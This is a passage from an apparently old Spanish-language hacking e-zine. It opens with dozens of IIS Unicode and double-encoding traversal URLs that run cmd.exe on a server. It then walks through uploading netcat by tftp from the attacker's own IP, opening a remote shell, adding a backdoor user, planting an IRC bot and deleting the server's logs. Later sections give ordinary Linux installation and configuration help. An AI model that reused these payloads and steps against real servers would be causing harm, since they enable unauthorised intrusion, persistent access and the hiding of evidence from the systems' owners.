/samples/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+dir+c:\
/samples/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\
/samples/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\
/samples/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir+c:\
/samples/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/samples/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\
/samples/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\
/samples/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/samples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/samples/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir+c:\
/samples/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/samples/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/samples/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:\
/samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
/samples/boo.bat/..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C/winnt/system32/cmd.exe?/c+dir+c:\
/scrips/root.exe?/c+dir+*.a
/scripts..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\
/scripts/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir+c:\
/scripts/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/scripts/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\
/scripts/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\
/scripts/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/scripts/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+dir+c:\
/scripts/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\
/scripts/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\
/scripts/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir+c:\
/scripts/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/scripts/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\
/scripts/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\
/scripts/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\
/scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:\
/scripts/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir+c:\
/scripts/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/scripts/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
/scripts/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:\
/scripts/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe?/c+dir+c:\
/scripts/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe?/c+dir+c:\
/scripts/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir+c:\
/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:\
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\
/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:\
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\
/scripts/..%c1%af../winnt/system32/cmd.exe?/c+dir+c:\
/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir+c:\
/scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:\
/scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\
/scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\
/scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\
/scripts/boo.bat/..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C..%C1%9C/winnt/system32/cmd.exe?/c+dir+c:\
/scripts/root.exe?/c+dir+c:\
Si aun asi no encontramos un servidor afectado, apuntaros a la petanca y
dejaros la informatica XDDDDDD e broma xDDD.Creo que hay un escaner que se
llama Shadowscan, no estoy seguro, que le podemos meter las variantes en un
doc de texto y el solo prueba kon el server ke le pongamos.
Ya con el server y la variante hay que subir el netcat, para el cual
necesitamos el TFTPd, que tendremos que tener en nuestra maquina,el NT lleva
el suyo incorporado.
Este programita lleva dos partes, el cliente y el servidor, a nosotros nos
interesa el servidor, lo abrimos y nos vamos al Setup, hí hay que configurar
los paths de inbound i outbound, para cuando recibamos y mandemos, ambos
pueden ser el mismo directorio, una vez hecho esto, ejecutamos el netcat y
subimos de la siguiente manera:
variante/system32/cmd.exe?/c+tftp+"-i"+nuestra_ip+GET+Archivo+C:\inetpub\scripts\Archivo
Solo comentar pues que -i es para tipo binario,GET la orden para que coja el
archivo que seleccionemos y que este dentro de nuestra carpeta Outbound.
Que no se os olvide poner las extensiones de los archivos.
El tftp se pondra en marcha y se subira, puede que en algunos servidores nos
de el error de Permission Denied segun al directorio que lo querais
subir, pero podeis probar a subirlo a c:\Inetpub\wwwroot\,si no os deja o da
mucho porculo buscamos otro servidor y listo.
Ya con el netcat subido,lo ejecutamos de la siguiente manera:
Al mismo tiempo que en el navegador ejecutamos la orden, abrimo s nuestro
telnet y conectamos a la maquina en el puerto que hemos señalado en la orden
anterior,si todo a ido bien, nos aparecera su directorio c:\Winnt\system32\,
:D,ahora que tenemos la shell, y si no queremos subir todos los ficheros que
hacen falta para el emech por tftp, podemos probar a añadirnos en el
servidor y crearnos una cuenta ftp, para ello ejecutamos net user rayika g41
\add,si no da error y command succefully todo ha ido bien,a subir por ftp,si
nos da algun tipo de error podemos usar el Serv-u, un pequeño cliente de ftp
que configuraremos en nuestro pc primeramente y lo subiremos, lo ejecutamos
desde la shell y listo tambien :D.
Pues ya está,configuramos el emech en nuestro ordenata,si no sabemos miramos
el ejemplo que es intuitivo,lo subimos configurado y ejekutamos,al poco time
tendremos nuestro botijo conectado,va un poco mas lento que los que estan en
una shell unix, pero bueno, no deja de ser un botijo, la duracion depende de
cuando revisen el server, pero os aseguro que duran bastante, no os olvideis
de borrar los logs en c:\Winnt\system32\logfiles y similares, aunque un del
*.log no biene mal xD.
[4] -[Instalando Linux]-
En este apartado trataremos de instalar nuestro sistema Linux en nuestro
pc, y en los siguientes a terminar de makear nuestro linux, configurar las
X-windows,e instalacion de programas,etc.
Mucha gente se echa atras y no instala linux porque tiene un hd y no quiere
perder lo de windows, bien, para eso estan las particiones xD, un programa
facil de usar y que funciona muy bien es el Partition Magic en su version
6.0 o superiores, yo me lo baje de kickme.to/fosi o fosi.ural.net, pero
seguro que esta en infinidad de paginas, una vez descargado lo instalamos y
lo ejecutamos, es preciso y conveniente que antes de nada desfragmentemos y
pasemos un scandisk completo para evitar problemas,hecho esto entramos en el
partition y le damos a crear nueva particion,nos preguntara sobre el tipo,si
VFAT o Ext2, linux utiliza la Ext2 ( Extended 2 ), aunque dice n que pronto
saldra la Ext3 que entre otras novedades contara con la novedad de ACL's
( Access Control Lists ),que no biene al caso pero ahi queda.
A continuacion nos preguntara el tamaño de la particion que queremos crear,y
aqui es segun la memoria de nuestro hd, lo que lo vamos a utilizar,etc, para
que os hagais una idea mi disco duro es de 20 gigas, y le tengo asignado a
Linux 3 gigas y medio,3500 megas,y me sobra.Le damos a seguir y nos pregunta
el tamaño de la particion Swap,esta particion es necesaria y muy util,ya que
linux utilizara la memoria que le asignemos como Ram virtual, cuantos mas
megas, mas rapido, pero que con 200 megas para esta particion ira de pm.
Y poco mas, nos dira si estamos seguros tal tal, le damo s a que Si a
continuacion se reiniciara y se pondra a trabajar, esto dura varias horas,
asique yo lo deje por la noche antes de acostarme y al dia siguiente estaba
ya terminado.
Terminadas de hacerse las particiones, llega el momento de instalar una
distribucion,y el dilema de cual es mejor y tal y cual,para empezar la mejor
es Mandrake,la 7.0 es bastante estable,la 7.2 petaba mucho y las posteriores
no las he probado, asique instalaremos esa y si no pues la que tengamos, una
vez que sabemos manejar bien linux podemos probar a pasarnos a otras con mas
modo texto, como Slackware o Debian, aunque yo esta ultima no la he probado,
uso Slackware 7.2 y me va fenomenal, pero dicen que Debian va aun mejor,
habra ke probarla xD.
Lo siguiente es configurar la bios para que arranque desde el cdrom, para el
que no lo sepa, endender el pc,pulsar la tecla Supr. y en el apartado BIOS
FEATURES SETUP, ahi modificar el A,C,D,SCSI o el que tengamos por D,A,C,SCSI
o como nos salga de la polla pero que el CD sea el de por defecto, XD,
salvamos los cambios y reiniciamos,se pondra a leer
y nos saldra un pinguinito gracioso que nos dara la bienvenida
a mandrakesoft, y poias en vinagre.
Como primer paso tenemos la eleccion de idioma, a no ser qu e seamos
poliglotas, elegiremos el español vamos xD, el segundo paso es elegir la
instalacion, minima, recomendada o experto, para empezar la recomendada es
buena eleccion, a continuacion DrakX, ke es la herramienta de conf. de
mandrake, buscara discos SCSI, si no tenemos directamente respondemos No.
En el siguiente paso elegiremos el teclado español y pulsaremos enter, el
siguiente paso es importante,ya que le diremos a mandrake en que particiones
debera instalarlo todo, normalmente deberemos indicar el Punto de Montaje
como /, que sera el directorio raiz y de donde colgara todo el sistema de
ficheros, hecho esto, lo siguiente, despues de que se instalen todos los
paquetes, sera adjudicar una contraseña del superusuario root, sera una
contraseña importante,por lo tanto tiene que ser dificil de adivinar,nada de
apellidos o el nick, sino que debe contener MAYUS/minus y caracteres
alf4num3r1c0s,la escribimos y yastap.
Despues nos da la posibilidad de añadir un usuario, es conveniente hacerlo,
este si puede ser nuestro nick,etc,pero intentar que la pass tampoco sea muy
facil de adivinar. Despues de esto Mandrake configurara el hardware de red,
nos pide si nos vamos a conectar por modem normal, DSL, ADSL o cable, si es
modem normal pues se elige y se pone el puerto al cual esta conectado, que
sera /dev/tty1 , correspondiente a Com1, /dev/tty2 para Com2, y asi
sucesivamente , normalmente con /dev/tty1 bastara . La impresora sera
configurada automaticamente,solo hay que indicar el modelo. Despues podremos
elegir si crear un disquette de arranque, es conveniente tener siempre uno a
mano por lo que pueda pasar,asi que lo insertamos y lo creamos,despues biene
la configuracion de lilo, si vemos que no sabemos configurarlo,como tenemos
el disquete de arranque, pondre un ejemplo mas tarde sobre como configurarlo
desde dentro de Linux. Por ultimo la configuracion de las Xwindows y salimos
de la instalacion. Tambien se puede instala r Linux sin necesidad de
particionar nuestro disco duro, sino con lnx4win, una herramienta de
Mandrakesoft ke permite hacerlo sobre windows, lo que hace es crear un
fichero grande y utilizarlo como "particion virtual" que puede ser
recomendable para aquellos que no esten seguros y no saben si les va a
gustar o veste tu a saber,para instalar de esta manera,cuando metemos el cd
despues de konfigurar la bios para que arranque desde D: presionamos F1 y
nos debe aparecer la opcion de lnx4win, y otras como la text,para hacerlo en
modo texto mas cutre y tal,si elegimos la de Lnx4win,tendremos que indicarle
que espacio queremos que tenga nuestra "particion" y el espacio de la swap,y
a continuacion seguir todos los pasos anteriores, pero se saltara el del
particionado.
[5] -[Primeras Configuraciones]-
Reiniciamos el pc y si hemos instalado Lilo nos dara a elegir entre windows
o Linux,si no,hay que volver a la bios y ponerlo para que arranque desde A:
,insertamos el disquete y para dentro,si no hemos configurado lilo,vamos a
poner un ejemplo,primero abrimos una consola y ejecutamos la orden fdisk -l,
nos mostrara algo como esto :
Disk /dev/hda: 16 heads, 63 sectors, 39549 cylinders
Units = cylinders of 1008 * 512 bytes
Device Boot Start End Blocks Id System
/dev/hda1 * 7683 39549 16060936+ c Win95 FAT32 (LBA)
/dev/hda2 1 7682 3871696+ 5 Extended
/dev/hda5 1 33 16569 83 Linux native
/dev/hda6 34 7551 3789040+ 83 Linux native
/dev/hda7 7552 7682 65992+ 82 Linux swap
Partition table entries are not in disk order
Bien, como vemos /dev/hda1 es la particion de windows , y /dev/hda6 la de
Linux native, esa es la que nos interesa, y como swap tenemos /dev/hda7, lo
apuntamos o lo que queramos y nos vamos al directorio etc/.
Linux tiene varios editores de textos similares al notepad,como son VI i Joe
,yo uso Joe por comodidad, tecleamos joe lilo.conf, se abrira el editor y
escribimos,segun mi caso,lo siguiente:
lba32
boot=/dev/hda
root=/dev/hda6
install=/boot/boot.b
map=/boot/map
prompt
delay=200
vga=normal
default=Linux
image=/vmlinuz
label=Linux
read-only
other=/dev/hda1
label=Windows
table=/dev/hda
image=/boot/linux-2.4.14
label=Linuxnew
read-only
Analizamos :
boot=/dev/hda <- Sera el mismo en todos los casos
root=/dev/hda6 <- Particion donde instalamos Linux
install=/boot/boot.b
map=/boot/map
prompt
delay=200
vga=normal
default=Linux
image=/vmlinuz
label=Linux
read-only <- Todo esto puede quedarse asi tal cual,200 es el tiempo
en segundos que Lilo nos da para elegir entre las distintas
entradas, que seran Windows o Linux, image=/vmlinuz sera igual en
todos los casos, o casi igual salvo que hallamos recompilado el
kernel ke lo veremos un poco mas adelante, de todas maneras miramos
haber si existe y listo.El Label es la etiqueta que aparecera,puedes
poner Linux, o ToMaKeWaPo,o lo ke kieras xD,lo demas =.
other=/dev/hda1 <- Pues eso XD,la particion que señala a Windows
label=Windows
table=/dev/hda <- Esto ira asi en todos o casi todos los casos
En resumen,podeis copiar la mia tal cual y sustituir los campos de /dev/ por
los que tengais apuntados de hacer el fdisk -l, aseguraos de que esta todo
correcto,espacios, barras,etc, y si todo esta bien, guardais los cambios con
Control +KX, ahora en la consola ejekutamos lilo.
Si no hay mensaje de error es que todo ha ido bien. Pues ya tenemos nuestro
Lilo configurado y rulando.
[6] -[Makeando nuestro Linux]-
Ya tenemos nuestro sistema de arranque rulando, ahora lo que podemos o
debemos hacer es configurar el ipchains, cerrar puertos,etc,si no tenemos un
kernel nuevo ke use iptables, la orden para cerrar los puertos es la
siguiente:
ipchains -A input -p tcp --dport 21 -j DENY
ipchains -A input -p tcp --dport 25 -j DENY
Si nuestro kernel es mas moderno, casi con toda seguridad que ipchains no
este disponible, sino iptables, bastante mejorado, pero la sintaxis varia un
poco:
iptables -A INPUT --proto tcp --dport 21 -j REJECT
No varia en mucho como veis :).
Y asi todos,para saber que puertos tenemos abiertos podemos bajarnos el nmap
de www.insecure.org/nmap,que vendra en tar.gz,y lo instalamos asi:
gunzip nmap-2.54BETA27.tar.gz && tar xvf nmap-2.54BETA27.tar
Ahora nos dirigimos al directorio que se ha creado y miramos el fichero de
texto INSTALL,ahi nos indica los pasos a seguir,normalmente seran:
./configure
make
make install
Si no da errores pues ya esta instalado,ejecutamos en consola nmap localhost
y nos aparecera algo asi:
Port State Service
21/tcp filtered ftp
22/tcp filtered ssh
23/tcp open telnet
25/tcp filtered smtp
37/tcp filtered time
79/tcp filtered finger
80/tcp filtered http
111/tcp filtered sunrpc
113/tcp filtered auth
513/tcp filtered login
514/tcp filtered shell
515/tcp filtered printer
587/tcp filtered submission
689/tcp filtered unknown
696/tcp filtered unknown
1024/tcp filtered kdm
1025/tcp filtered listen
2049/tcp filtered nfs
6000/tcp filtered X11
Como veis solo tengo abierto el puerto 23 por si algun amigo necesita hacer
algo... xDD. Ahora bien, estas reglas que le hemos metido al ipchains se
resetearan cuando reiniciemos nuestro pc, asique una solucion es escribirlos
en un script de arranque como puede ser el rc.local,que se encuentra en
/etc/rc.d/rc.local, lo editamos con el joe, metemos todas las lineas una
debajo de otra, guardamos los cambios y listo,cuando iniciemos nuestro linux
se cerraran los puertos automaticamente :).
Los tar.gz son buenos porke se bajan y se compilan en el propio pc y
tal,pero tambien existen los rpm de la popular RedHat, al instalar un nuevo
pakete podremos elegir entre rpm y tar.gz, si no existe tal pakete rpm, lo
podemos convertir con una herramienta interesante que se llama Alien y que
podeis descargar de www.freshmeat.net, con el podremos convertir rpm's a
partir de tar.gz's, paketes .deb para Debian, y varias cosas mas,la manera
de instalar un rpm es la siguiente:
rpm -i pakete.rpm
Muchas veces dan error de dependencias,y es mas dificil obtenerlas todas que
probar esto ;) :
rpm -i --nodeps pakete.rpm
Y yata xD
El tema de los permisos tambien es importante,es facil de entender,existen
tres parametros:
x -----------------> Execute,para dar o quitar permisos de ejecucion
r -----------------> Read,para dar o quitar permisos de lectura
w -----------------> Write,para dar o quitar permisos de escritura
Los permisos se asignan a todos y cualquier fichero con el comando chmod, si
queremos que todos los demas usuarios menos el root no tenga n permiso de
lectura sobre el fichero "gays" del directorio /mnt/, pues ejekutamos lo
siguiente:
chmod u-r /mnt/gays
Si queremos que no tengan permiso de escritura pues facil:
chmod u-w /mnt/gays
Y si no queremos que tengan permiso de lectura,escritura o de ejecucion:
chmod u-wrx /mnt/gays
Para dar permisos,pues en vez de "-",pues "+" xD.
Existe tambien una manera con numeritos y tal,pero mejor esta ;).
Bueeno ya sabemos algo mas de nuestro linux, como seguramente sereis amantes
XDDDD de las Xwindows no me parare a deciros como configurar internet,ya que
es muy intuitivo. Tan solo teneis que ejekutar kppp en las x's, darle a
configuracion y meterle los parametros de nuestro modem, etc, si es un
interno, por ejemplo un Supra 56K Pro DF o similares, sera un winmodem, los
se llaman asi porque realmente no son modems en si, sino que emulan por
software las funciones de un modem real, en el apartado de dispositivo del
modem ponemos /dev/modem, que es el de por defecto, control de flujo
CRTSCTS, terminacion en linea CR, y la velocidad pues la que se ajuste a
nuestro modem, lo demas es facil, ponemos el numero de tlf, nombre usuario,
contraseña...la IP la pondremos asignada por el servidor, y le meteremos
manualmente los dns's, que en windows no hacen falta pero aqui si, si
no sabemos los dns's llamamos a nuestro proveedor para que nos los facilite,
o los miramos de la config de windows.
Solo añadire que, en mi Slackware, cuando voy a conectarme al irc con el
BitchX, se pone de ident el user con el que esté,que en ocasiones sera root,
para que esto no ocurra nos vamos al /etc/inetd.conf, lo editamos con el joe
y añadimos el comentario ( "#" ), a la siguiente linea:
#auth stream tcp wait nobody /usr/sbin/in.identd in.identd
-P/de
Debe quedar con el #, guardamos y reniciamos, una vez hecho entramos en el
BitchX tecleando BitchX Nick Server en consola y ponemos /ircuser ident, nos
dira que el ircuser tal tal, tambien decir que los idents con varias
mayusculas no los coge bien, es decir, mi ident es Sex-Team, pues si pongo
SeX-TeaM, no lo coge, no se porke, pero es asi, XD.
Puess ya sabemos "a grosso modo" xD, algunas nociones de como configurar
nuestro Linux, ahora bien, puede ser que no t engamos bien configuradas las
Xwindows, la tarjeta grafica,la resolucion...el teclado,etc,pues vamos a ver
como se configura todo eso en modo texto,con la herramienta xf86config.
Nos vamos al directorio /usr/X11R6/bin/,ahi debe estar xf86config,pero segun
la distribucion puede variar un poco.
Tecleamos xf86config y nos saldra algo como esto :
This program will create a basic XF86Config file, based on menu selections
you
make.
The XF86Config file usually resides in /usr/X11R6/etc/X11 or /etc/X11. A
sample
XF86Config file is supplied with XFree86;it is configured for a standard VGA
card and monitor with 640x480 resolution. This program will a sk for a
pathname when it is ready to write the file.
You can either take the sample XF86Config as a base and edit it for your
configuration, or let this program produce a base XF86Config file for your
configuration and fine-tune it.
Before continuing with this program, make sure you know what video card
you have, and preferably also the chipset it uses and the amount of video
memory on your video card. SuperProbe may be able to help with this.
Press enter to continue, or ctrl-c to abort.
Le damos al enter para seguir con lal config,el siguiente paso es :
First specify a mouse protocol type. Choose one from the following list:
1. Microsoft compatible (2-button protocol)
2. Mouse Systems (3-button protocol)
3. Bus Mouse
4. PS/2 Mouse
5. Logitech Mouse (serial, old type, Logitech protocol)
6. Logitech MouseMan (Microsoft compatible)
7. MM Series
8. MM HitTablet
9. Microsoft IntelliMouse
If you have a two-button mouse, it is most likely of type 1, and if you have
a three-button mouse, it can probably support both protocol 1 and 2. There
are two main varieties of the latter type: mice with a switch to select the
protocol, and mice that default to 1 and require a button to be held at
boot-time to select protocol 2. Some mice can be convinced to do 2 by
sending a special sequence to the serial port (see the ClearDTR/ClearRTS
options).
Enter a protocol number:
Si nuestro modelo de raton es exactamente uno de los que sale en esa lista,
escribimos el numero que le corresponda, si no, con la opcion 4 PS/2 Mouse
bastara para que rule bien,enter y seguimos.
If your mouse has only two buttons, it is recommended that you enable
Emulate3Buttons.
Please answer the following question with either 'y' or 'n'.
Do you want to enable Emulate3Buttons?
Haber, para,por ejemplo, cuando queramos pegar una conversacion que nos pasa
un amigo en el iRC o cualquier otro tipo de informacion, si tenemos un raton
de 3 botones,bastara con presionarlo para que se pegue la info,si no,necesi-
taremos emular ese boton presionando el boton izq, y derecho para conseguir-
lo,entonces, si nuestro raton dispone de un tercer boton, le damos a "n", si
de lo contrario carece de éste,tecleamos "y".
Now give the full device name that the mouse is connected to, for example
/dev/tty00. Just pressing enter will use the default, /dev/mouse.
Mouse device:
Tecleando /dev/mouse que es el de por defecto bastara.
Please select one of the following keyboard types that is the better
description of your keyboard. If nothing really matches,
choose 1 (Generic 101-key PC)
1 Generic 101-key PC
2 Generic 102-key (Intl) PC
3 Generic 104-key PC
4 Generic 105-key (Intl) PC
5 Dell 101-key PC
6 Everex STEPnote
7 Keytronic FlexPro
8 Microsoft Natural
9 Northgate OmniKey 101
10 Winbook Model XP5
11 Japanese 106-key
12 PC-98xx Series
13 Brazilian ABNT2
14 HP Internet
15 Logitech iTouch
16 Logitech Cordless Desktop Pro
17 Compaq Internet
18 Microsoft Natural Pro
Enter a number to choose the keyboard.
En mi caso mi teclado es de 105 teclas, asi que seleccionare la opcion 4, en
vuestro caso,pues el que corresponda xD.
Lo siguiente de presionar enter sera elegir el idioma,presionamos intro has-
ta que aparezca el numero 36 correspondiente a Spanish :) y lo escribimos.
Please enter a variant name for 'es' layout. Or just press enter
for default variant.
Pues nada,presionamos enter :).
Please answer the following question with either 'y' or 'n'.
Do you want to select additional XKB options (group switcher,
group indicator, etc.)?
Aqui respondemos "n".
Now we want to set the specifications of the monitor. The two critical
parameters are the vertical refresh rate, which is the rate at which the
the whole screen is refreshed, and most importantly the horizontal sync
rate,
which is the rate at which scanlines are displayed.
The valid range for horizontal sync and vertical sync should be documented
in the manual of your monitor. If in doubt, check the monitor database
/usr/X11R6/lib/X11/doc/Monitors to see if your monitor is there.
Press enter to continue, or ctrl-c to abort.
Este paso es muy importante,ya que le indicaremos las frecuencias de refres-
co de nuestro monitor,las podemos encontrar en el manual de instrucciones,si
,ese libro que nunca hemos leido y que esta lleno de polvo en el armario XDD
nos vamos a la seccion de Technical Specifications si esta en ingles y mira-
mos los datos correspondientes a los campos siguientes :
Scanninf frecuenzy :
Hor.: 30Khz-50Khz
Ver.: 50Hz-10Hz
Aseguraos de que teneis esa informacion y que es correcta,ya que de esto de-
pendera el buen funcionamiento o no de nuestro monitor,presionamos enter.
You must indicate the horizontal sync range of your monitor. You can either
select one of the predefined ranges below that correspond to industry-
standard monitor types, or give a specific range.
It is VERY IMPORTANT that you do not specify a monitor type with a
horizontal
sync range that is beyond the capabilities of your monitor. If in doubt,
choose a conservative setting.
hsync in kHz; monitor type with characteristic modes
1 31.5; Standard VGA, 640x480 @ 60 Hz
2 31.5 - 35.1; Super VGA, 800x600 @ 56 Hz
3 31.5, 35.5; 8514 Compatible, 1024x768 @ 87 Hz interlaced (no 800x600)
4 31.5, 35.15, 35.5; Super VGA, 1024x768 @ 87 Hz interlaced, 800x600 @ 56
Hz
5 31.5 - 37.9; Extended Super VGA, 800x600 @ 60 Hz, 640x480 @ 72 Hz
6 31.5 - 48.5; Non-Interlaced SVGA, 1024x768 @ 60 Hz, 800x600 @ 72 Hz
7 31.5 - 57.0; High Frequency SVGA, 1024x768 @ 70 Hz
8 31.5 - 64.3; Monitor that can do 1280x1024 @ 60 Hz
9 31.5 - 79.0; Monitor that can do 1280x1024 @ 74 Hz
10 31.5 - 82.0; Monitor that can do 1280x1024 @ 76 Hz
11 Enter your own horizontal sync range
Enter your choice (1-11):
Si nuestro tipo de monitor se encuentra entre los citados,miramos el numero,
lo escribimos y enter,si no estamos seguros, como tenemos la informacion del
manual,cogeremos la opcion 11,si es asi,nos pedira:
Please enter the horizontal sync range of your monitor, in the format used
in the table of monitor types above. You can either specify one or more
continuous ranges (e.g. 15-25, 30-50), or one or more fixed sync
frequencies.
Horizontal sync range:
Pues escribimos 30-50 :)
You must indicate the vertical sync range of your monitor. You can either
select one of the predefined ranges below that correspond to industry-
standard monitor types, or give a specific range. For interlaced modes,
the number that counts is the high one (e.g. 87 Hz rather than 43 Hz).
1 50-70
2 50-90
3 50-100
4 40-150
5 Enter your own vertical sync range
Enter your choice:
En mi caso es la opcion numero 3,si no es la vuestra,mirais la info, le dais
al 5 y se la meteis xD.
You must now enter a few identification/description strings, namely an
identifier, a vendor name, and a model name. Just pressing enter will fill
in default names.
The strings are free-form, spaces are allowed.
Enter an identifier for your monitor definition:
Aqui poneis lo que os salga de la polla,RaYiMoNiToR puse yo XDDDD.
A continuacion nos preguntara si :
Do you want to look at the card database?
Presionamos "y" y le damos al enter, nos mostrara una bdd de las tarjetas
disponibles soportadas por Linux.Le vamos dando al enter hasta ver que nume-
ro coresponde a nuestra tarjeta,en mi caso es el numero 362 que corresponde
a la RivaTNT2 de Nvidia.
Now you must give information about your video card. This will be used for
the "Device" section of your video card in XF86Config.
You must indicate how much video memory you have. It is probably a good
idea to use the same approximate amount as that detected by the server you
intend to use. If you encounter problems that are due to the used server
not supporting the amount memory you have (e.g. ATI Mach64 is limited to
1024K with the SVGA server), specify the maximum amount supported by the
server.
How much video memory do you have on your video card:
1 256K
2 512K
3 1024K
4 2048K
5 4096K
6 Other
Aqui le indicaremos que memoria tiene nuestra tarjeta de video, la mia es de
32 megas,por lo tanto lo multiplicamos por 1024 para saber la memoria en Kb,
sale 32768,selecciono la opcion 6 y lo escribo :).
De nuevo ponemos lo que nos salga la polla.
For each depth, a list of modes (resolutions) is defined. The default
resolution that the server will start-up with will be the first listed
mode that can be supported by the monitor and card.
Currently it is set to:
"640x480" "800x600" "1024x768" "1280x1024" for 8-bit
"640x480" "800x600" "1024x768" "1280x1024" for 16-bit
"640x480" "800x600" "1024x768" "1280x1024" for 24-bit
Modes that cannot be supported due to monitor or clock constraints will
be automatically skipped by the server.
1 Change the modes for 8-bit (256 colors)
2 Change the modes for 16-bit (32K/64K colors)
3 Change the modes for 24-bit (24-bit color)
4 The modes are OK, continue.
Enter your choice:
El campo de las resoluciones,supongo que querreis tener los colores en
24-bits,asique le daremos a la opcion 3 y le damos al enter.
Select modes from the following list:
1 "640x400"
2 "640x480"
3 "800x600"
4 "1024x768"
5 "1280x1024"
6 "320x200"
7 "320x240"
8 "400x300"
9 "1152x864"
a "1600x1200"
b "1800x1400"
c "512x384"
Please type the digits corresponding to the modes that you want to select.
For example, 432 selects "1024x768" "800x600" "640x480", with a
default mode of 1024x768.
Which modes?
Aqui seleccionaremos las 3 resoluciones que posteriormente podremos utilizar
, como yo solo quiero 800x600 pues le puse el numero 333, pero puede ser el
que querais,y para cambiar de resolucion en las X's pues Control+Alt+ "+" o
"-".
A la siguiente pregunta sobre la Virtual Screen respondemos "n"
Ya todo es correcto,asique presionamos 4 ;).
Please specify which color depth you want to use by default:
1 1 bit (monochrome)
2 4 bits (16 colors)
3 8 bits (256 colors)
4 16 bits (65536 colors)
5 24 bits (16 million colors)
Enter a number to choose the default depth.
Como queremos 24 bits seleccionamos la 5.
I am going to write the XF86Config file now. Make sure you don't accidently
overwrite a previously configured one.
Shall I write it to /etc/X11/XF86Config?
Y ya esta todo configurado,escribimos "y" y walá. xD
Ahora solo nos queda reiniciar el sistema y probar la nueva config, si tene-
os algun tipo de complicacion sera porque no le hemos metido los parametros
correctos,y normalmente seran las frecuencias de refresco las que daran por-
culo,creo que habia un programa que te las decia,pero no recuerdo que nombre
tenia.
Bueeeeeno ya hemos configurado el Lilo,las X's y hemos aprendido a adminis-
trar un poco nuestro pc.
[7] -[Recompilando nuestro kernel]-
Bueno el kernel,como sabreis, es el nucleo del sistema operativo y el que se
encarga de diversas tareas como administracion de memoria y procesos, cada
cierto tiempo van saliendo nuevos kernel's que soportan mayores drivers y en
consecuencia cada vez mayormente perfeccionados,se pueden descargar de http:
//www.kernel.org.
Bien, si lo bajamos desde Linux podeis hacerlo con el wget, una herramienta
que permite descargar ficheros con resume y que ralla,pero como me gusta ra-
llarme,por eso la uso, XDDD,ponemos wget -c ftp://www.kernel.org/lokesea/
lokesea/kernel-2.x.x/ y se pondra a bajarse.
La opcion -c es la del resume, si nos caemos pues tan solo ponemos de nuevo
wget -c tal tal y seguira por donde iba ;).
Una vez que lo hemos bajado,nos vamos al directorio /usr/src,hacemos un ls y
vemos lo siguiente :
bash-2.05# ls linux linux-2.4.13 linux-2.4.14.tar sendmail
linux-2.2.19 linux-2.4.13.tar linux-2.4.14_old
Los ficheros linux-2.4.13 y linux-2.4.13.tar no los tendreis, que son de re-
kompilaciones anterioes xD, aki lo ke nos interesa es el directorio linux,
bien,en ese directorio se encuentra el kernel ke actualmente estareis usando
